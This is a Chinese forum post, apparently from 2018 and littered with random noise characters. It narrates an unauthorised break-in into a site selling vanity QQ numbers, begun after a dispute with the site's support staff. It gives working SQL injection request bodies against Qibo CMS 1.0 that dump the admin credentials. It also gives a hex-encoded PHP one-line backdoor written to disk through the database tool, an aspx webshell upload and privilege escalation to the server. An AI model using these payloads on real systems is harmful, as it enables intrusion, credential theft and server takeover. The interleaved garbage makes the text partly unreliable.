|
, Y, \: t; E2 x4 i
4 b3 T* F7 j6 P' N6 z$ Q, i 5 q6 B/ _& [" R+ j5 G1 x
0 t2 e. D9 j1 U9 S& ^ 一、踩点寻找漏洞
* n* y6 g! D4 v% s2 q" J5 P
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
) U$ u* S/ `, a! D8 s随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
6 P1 I$ ~. |' D. K% e" m
先注册一个用户，记住注册时候的邮箱以uid号，
/ c8 ^/ j: X' ]/ f/ k' t* | h
0 N6 {0 i& b+ D. U, I! p; ]2 ~
2 C$ X3 G3 f. S6 y# \9 K然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
. \! ]0 K" C$ b4 F) m0 B* K
; F) y# T; ~* p* [6 a: Q5 Struename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
4 `1 l t+ {) j: j3 l2 f$ m
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
" m0 f; j/ h, C$ t! E+ Z
3 A9 R1 m5 P4 a% ]5 Z' o
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
- Z4 M* Z$ m3 Y- {2 T0 S9 w( y
6 l) [8 Z" o" }8 V- e& e" T
" j# W4 p2 d8 ~: E
解密进后台如图：
: M3 N( s$ W4 L4 x
; l' {' k. g0 e0 t
2 j( m- p% ^% m/ P; T1 K. a" k
5 }3 f: P: j' E4 F( @" f二、后台getwebshell
2 j6 p+ j& f6 [0 q进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
% Z O, c+ x6 i1 V* H0 l
9 C/ g c$ z: t
+ q5 m6 V S% [# s7 ]
; M# y3 T- r! ]3 E. ]
然后点确定，添加提示
+ v1 z. y$ J3 b3 N, H7 s# ^
7 ^6 x c7 f7 t z, B! C4 x
4 {' X, _. w' e/ e7 E8 n5 G$ ?# d
8 r1 v& T! s& d% c8 A4 @+ n由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
" s+ |0 e& o z( x
8 @4 G; l% f) J" i; t& A
2 b4 W5 d9 U; q" `* R
改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
) b) J4 ^. n( X8 ^如图：
) L& N: y. S: \' d
, V7 U) U8 a) X- a! o" S& r+ ^; ]
9 K- h4 v/ h. a' H- s
# f, u& a- Z( I! f4 \! \ E/ ?之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
; C; E: |3 J# f+ V( _0 z7 j
* r9 j% O( J: J0 V9 ^
. N. K) E+ P" g, c" S+ X
" @; i( |" z* _2 ^ _三、提权进服务器
" c; r: ]$ @" {5 v! [2 k, `- B; g
经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
8 q1 y) K! n! a4 @
]1 U* H% C0 X; _; d* J3 z
0 l& }& {3 U, |4 ^) s7 \啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
+ v2 {2 x% M. p3 N
1 i- V4 c! L1 {1 g' f) D* v
; f% X3 V, h; p; ^5 P9 i
然后登陆服务器如图：
! F# O: I, z, G, v# _( w7 J4 t
3 P! u: _$ o' V1 F " a3 s# ^9 b+ Q; f1 p! l/ J) F0 U
4 d* u) K, T% r5 U
1 \/ R( z' r- Z
0 C: E2 P2 r3 ?/ _+ H9 w- f
难怪普通刀连接不上，原来是有狗。
N( [" D4 o K' z
% E; o& s T$ a" ?2 w8 v
8 Z) s; w6 e* `+ u
5 E4 `1 \6 l s2 i% q, W; O
" K1 F9 H+ ?% {. f U* I6 \0 Z6 L" ?5 j+ `: r! [4 n- `
; L0 ^1 _5 B+ p" q9 L | 
发表于 2018-10-20 20:08:47
收藏
支持
反对